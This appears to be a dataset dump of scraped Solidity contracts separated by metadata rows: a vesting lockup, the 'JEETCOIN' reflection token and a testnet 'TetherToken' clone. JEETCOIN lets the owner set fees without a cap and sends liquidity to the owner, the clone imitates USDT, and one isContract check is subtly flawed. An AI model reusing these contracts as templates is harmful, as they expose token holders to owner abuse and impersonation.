if (now <= jiedianDate + (30 * 10 days)) {return lockedAmt.mul(3).div(12);}
if (now <= jiedianDate + (30 * 11 days)) {return lockedAmt.mul(2).div(12);}
if (now <= jiedianDate + (30 * 12 days)) {return lockedAmt.mul(1).div(12);}
return 0;
}
function getLockedAmount_dakehus(address _dakehu)
public
constant
returns (uint256)
{
uint256 dakehuDate = dakehus_dakehuDate[_dakehu];
uint256 lockedAmt = dakehus_locked[_dakehu];
if (now <= dakehuDate + (30 * 1 days)) {return lockedAmt;}
if (now <= dakehuDate + (30 * 2 days)) {return lockedAmt.mul(23).div(24);}
if (now <= dakehuDate + (30 * 3 days)) {return lockedAmt.mul(22).div(24);}
if (now <= dakehuDate + (30 * 4 days)) {return lockedAmt.mul(21).div(24);}
if (now <= dakehuDate + (30 * 5 days)) {return lockedAmt.mul(20).div(24);}
if (now <= dakehuDate + (30 * 6 days)) {return lockedAmt.mul(19).div(24);}
if (now <= dakehuDate + (30 * 7 days)) {return lockedAmt.mul(18).div(24);}
if (now <= dakehuDate + (30 * 8 days)) {return lockedAmt.mul(17).div(24);}
if (now <= dakehuDate + (30 * 9 days)) {return lockedAmt.mul(16).div(24);}
if (now <= dakehuDate + (30 * 10 days)) {return lockedAmt.mul(15).div(24);}
if (now <= dakehuDate + (30 * 11 days)) {return lockedAmt.mul(14).div(24);}
if (now <= dakehuDate + (30 * 12 days)) {return lockedAmt.mul(13).div(24);}
if (now <= dakehuDate + (30 * 13 days)) {return lockedAmt.mul(12).div(24);}
if (now <= dakehuDate + (30 * 14 days)) {return lockedAmt.mul(11).div(24);}
if (now <= dakehuDate + (30 * 15 days)) {return lockedAmt.mul(10).div(24);}
if (now <= dakehuDate + (30 * 16 days)) {return lockedAmt.mul(9).div(24);}
if (now <= dakehuDate + (30 * 17 days)) {return lockedAmt.mul(8).div(24);}
if (now <= dakehuDate + (30 * 18 days)) {return lockedAmt.mul(7).div(24);}
if (now <= dakehuDate + (30 * 19 days)) {return lockedAmt.mul(6).div(24);}
if (now <= dakehuDate + (30 * 20 days)) {return lockedAmt.mul(5).div(24);}
if (now <= dakehuDate + (30 * 21 days)) {return lockedAmt.mul(4).div(24);}
if (now <= dakehuDate + (30 * 22 days)) {return lockedAmt.mul(3).div(24);}
if (now <= dakehuDate + (30 * 23 days)) {return lockedAmt.mul(2).div(24);}
if (now <= dakehuDate + (30 * 24 days)) {return lockedAmt.mul(1).div(24);}
return 0;
}
// set lockup for jishis
function setLockup_jishis(address _jishi, uint256 _value, uint256 _jishiDate)
public
onlyOwner
{
require(_jishi != address(0));
jishis_locked[_jishi] = _value;
jishis_jishiDate[_jishi] = _jishiDate;
UpdatedLockingState("jishi", _jishi, _value, _jishiDate);
}
// set lockup for strategic simu
function setLockup_simus(address _simu, uint256 _value, uint256 _simuDate)
public
onlyOwner
{
require(_simu != address(0));
simus_locked[_simu] = _value;
simus_simuDate[_simu] = _simuDate;
UpdatedLockingState("simu", _simu, _value, _simuDate);
}
function setLockup_jiedians(address _jiedian, uint256 _value, uint256 _jiedianDate)
public
onlyOwner
{
require(_jiedian != address(0));
jiedians_locked[_jiedian] = _value;
jiedians_jiedianDate[_jiedian] = _jiedianDate;
UpdatedLockingState("jiedian", _jiedian, _value, _jiedianDate);
}
function setLockup_dakehus(address _dakehu, uint256 _value, uint256 _dakehuDate)
public
onlyOwner
{
require(_dakehu != address(0));
dakehus_locked[_dakehu] = _value;
dakehus_dakehuDate[_dakehu] = _dakehuDate;
UpdatedLockingState("dakehu", _dakehu, _value, _dakehuDate);
}
// Transfer amount of tokens from sender account to recipient.
function transfer(address _to, uint _value)
public
canTransfer(msg.sender, _value)
returns (bool success)
{
return super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
function transferFrom(address _from, address _to, uint _value)
public
canTransfer(_from, _value)
returns (bool success)
{
return super.transferFrom(_from, _to, _value);
}
}
| 134,852 | 506 |
31f846e2602d911091b1e53636f8c08759cf97a42c1c3742bf211c9ad180bbac
| 21,858 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7c/7c381D45550bA43964af17215aF44DB8Ba4f5A6D_JEETCOIN.sol
| 5,658 | 20,847 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JEETCOIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "JEET COIN";
string private _symbol = "JEET";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 6;
uint256 private _previousLiquidityFee = _liquidityFee;
IJoeRouter02 public immutable joeRouter;
address public immutable joePair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 5000000000000000000;
uint256 private numTokensSellToAddToLiquidity = 1000000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IJoeRouter02 _joeRouter = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
// Create a joe pair for this new token
joePair = IJoeFactory(_joeRouter.factory())
.createPair(address(this), _joeRouter.WAVAX());
// set the rest of the contract variables
joeRouter = _joeRouter;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve AVAX from joeRouter when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is joe pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (overMinTokenBalance &&
!inSwapAndLiquify &&
from != joePair &&
swapAndLiquifyEnabled) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current AVAX balance.
// this is so that we can capture exactly the amount of AVAX that the
// swap creates, and not make the liquidity event include any AVAX that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for AVAX
swapTokensForAvax(half); // <- this breaks the AVAX -> HATE swap when swap+liquify is triggered
// how much AVAX did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to joe
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForAvax(uint256 tokenAmount) private {
// generate the Joe pair path of token -> wavax
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeRouter.WAVAX();
_approve(address(this), address(joeRouter), tokenAmount);
// make the swap
joeRouter.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0, // accept any amount of AVAX
path,
address(this),
block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(joeRouter), tokenAmount);
// add the liquidity
joeRouter.addLiquidityETH{value: ethAmount}(address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
| 80,103 | 507 |
4899dd5c05a7e37fa2b850895a5ee78734dbb2e7a619306e0cfef60e5b0ad299
| 14,986 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/f4/f45f8abbca0c967f7976456a8099d299735ace3d_TetherToken.sol
| 2,769 | 11,230 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 60,943 | 508 |
7c12d32c100f71920dc6765de2b778e66aa882b3147d9bd5b9a0b49262f8b92e
| 19,198 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/00ea66ac1550d8ae4ff06230bf1c0dce4e694b83.sol
| 2,607 | 10,345 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
